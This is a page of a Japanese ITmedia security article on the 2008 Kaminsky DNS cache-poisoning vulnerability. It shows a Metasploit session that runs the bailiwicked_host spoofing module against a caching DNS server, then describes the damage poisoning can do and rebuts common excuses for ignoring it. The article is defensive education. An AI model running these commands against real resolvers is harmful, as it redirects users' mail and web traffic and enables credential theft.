カミンスキー氏が発表したDNSアタック手法と対策例：DNSキャッシュポイズニングの影響と対策（前編）（2/4 ページ）
2008年7月に公開されたDNSキャッシュポイズニングの脆弱性。DNSの仕様に深く関係するこの手法に対して、エンジニアはどのように対策を打つべきでしょうか。この脆弱性の本質的な問題と対策、そして私たちが考えなくてはならないセキュリティの心構えなど、2回に分けてお送りします（編集部）
脆弱性診断ツールを使って実証
今回のテストで利用したツールは、The Metasploit Projectで公開されている脆弱性診断ツールです。診断という名称が入ってはいますが、実行していることは攻撃そのものですので、利用する場合は必ず他者に迷惑がかからない環境に対し、検証を目的として行ってください。
$ cd Documents/Metasploit/
$ svn co http://metasploit.com/svn/framework3/trunk/
$ sudo ./msfconsole
Password:
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ msf v3.2-release
+ -- --=[ 301 exploits - 140 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 66 aux
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary（bailiwicked_host） > set RHOST <目的のキャッシュDNS IPアドレス>
RHOST => <目的のキャッシュDNS IPアドレス>
msf auxiliary（bailiwicked_host） > set SRCPORT 0
SRCPORT => 0
msf auxiliary（bailiwicked_host） > set
Global
======
No entries in data store.
Module: spoof/dns/bailiwicked_host
==================================
Name Value
---- -----
HOSTNAME pwned.example.com
NEWADDR 1.3.3.7
RECONS 208.67.222.222
RHOST <目的のキャッシュDNS IPアドレス>
SRCADDR Real
SRCPORT 0
TTL 42064
XIDS 0 msf auxiliary（bailiwicked_host） > run
setコマンドにより攻撃対象とするキャッシュDNSサーバ、必要に応じて汚染させたいHOSTNAMEとNEWADDRを定義するだけで、動作確認は容易に行えます。あとはrunコマンドで実行し、お茶をいただいている間にキャッシュ汚染は完了するはずです。
キャッシュ汚染は容易に実行可能なことが分かったところで、このようにして詐称されたDNSレコードをユーザーがクエリしたときに何が起こり得るか確認してみましょう。
被害例は無限大
何をキャッシュされてしまうかにより影響は異なってきますが、これにより目的のドメイン／FQDNに対する正常な通信ができなくなることは変わりありません。よく電話をかける相手の電話番号を間違えて携帯電話の電話帳に登録してしまった状態をイメージすると、影響を想像しやすいのではないでしょうか。間違えて登録してしまった電話帳を利用する限り、つながる相手が違ったり、電話番号が違うというアナウンスが流れてきたり……。意図しない相手に繋がってしまった電話で、うっかり機密情報を口にしてしまった場合、どのようなことが起こり得るでしょう。また、繋がらない電話をかけるたびに利用者はイライラするばかりでなく、最終的にその電話を利用することをやめてしまうかもしれません。
大筋で起こり得る被害をイメージしていただいたところで、具体的な影響を挙げてみましょう。
●例1：メールが正常に届けられない
送信先メールアドレスのドメイン名を汚染されると、メールは当然届けられなくなってしまいます。個人情報や重要な情報（企業機密）を含む内容を、汚染されたDNSレコードを利用して送信した場合、情報漏えいとして問題になるばかりでなく、損害賠償請求や裁判という結果につながる可能性は大いに考えられます。
攻撃者はGmailやhotmail、Yahoo!メールといった著名なサービスに関してばかりでなく、金融機関や大手企業のドメイン名も狙ってくる可能性が十分にありえます。
●例2：Webサイトを正常に閲覧できない
閲覧しようとするWebサーバのDNSレコードや、ドメインのNSレコードが汚染されていた場合、そのWebサイトを閲覧しようとするクライアントや、プロキシサーバは正しいIPアドレスにアクセスできなくなるため、結果として意図しない通信先へHTTPなりHTTPSなりで通信を行うことになります。
自分のネットワークから有名なWebサービス、例えばヤフーやグーグルといった検索サービスを利用できなくなったら？ 社内から営業支援や代理店管理、カスタマーサポートを提供するWebサービスを利用できなくなったら？ 一般ユーザは困り果て、そしてその結果生じる業務停止や遅延による損害は経営者にとって無視できない被害となってくることでしょう。
●例3：Webサービスの危険性が一層高まる
Webサービスによっては、登録しているユーザー向けにメールを送信することも多いと思います。しかし、Webサーバが参照するSMTPサーバのDNSレコードが汚染されていたら？ そしてSMTPサーバが参照する送信先ドメインのDNSレコードが汚染されていたら？
パスワードリマインダー機能によるメール送信や、Webサービスへの登録確認メールなど、その種類は多岐にわたっていることが多いと思います。個人情報をそのままメールで送信することは多くないかもしれませんが、サービスにログインするためのアカウントやパスワードを、意図しないSMTPサーバに送信してしまったら……果たしてその結果は、ユーザー離れだけで済むのでしょうか。
●例4：SSLの意味がなくなる
自社で提供するWebサービスはSSLで暗号化しているから、この問題は無関係と思われる方もいらっしゃるかもしれません。しかし、それはこの問題の本質を見誤った認識です。
あなたのドメインが汚染された場合は、それによりあなたが提供するWebサービスの存在そのものが消されてしまうことが問題になるはずです。あなたが展開しているWebサービスでSSLを利用していてもいなくても、アクセス数が稼げなくなるということは、サービスの死を意味しかねないでしょう。
SSLを利用していた場合でも、ブラウザ警告を無視して通信を継続させることは非常に容易です。何より、実際多くのユーザーはWebブラウザにSSL証明書警告が表示されても、無視して通信を継続してしまうことが圧倒的に多いでしょう。その先でユーザー名やパスワードを入力してしまったら？ その後は容易に想像できると思います。
仕事柄、DNSサーバを管理されている担当者や、情報システム部の上役の方とお話しする機会は多く、この危険性をお話しさせていただくことは多いのですが、その回答として、よくこのようなお話を伺います。
「うちの会社はそれほど有名ではないので、狙われることなんてないでしょう」
「ファイアウォールやIDSを導入しているから大丈夫ですよ」
「弊社ではWebブラウジングをフィルタしているから大丈夫です」
「弊社ではSPAMフィルタしているから大丈夫です」
これらの答えは、すべて誤っています。しかも、致命的に誤っています。ネットワークの大小は関係ありません。攻撃者は到達可能なIPアドレスにじゅうたん爆撃のようにしらみつぶしに攻撃を仕掛けるからです。グローバルIPアドレスを利用してインターネットに接続している限り、攻撃対象になり得ます。ファイアウォールやIDSを入れていても、DNS応答元のSource IPアドレスやポート番号を詐称されてしまえば簡単にだまされてしまいます。
WebフィルタやSPAM／メールフィルタは通信先のURL／ドメイン名へのアクセスを制御するものが大半のため、その通信先IPアドレスが正しいかどうかまでは見ていないことが圧倒的でしょう。また、各種フィルタが利用するデータベースの配布元となるドメイン／FQDNを汚染することができたら、もはやそのフィルタは意味を成さなくなることは想像に難くありません。「〜だから大丈夫」「〜だからうちは安全」といって何もしないことは、単なる自殺行為でしかないと考えます。
Copyright © ITmedia, Inc. All Rights Reserved.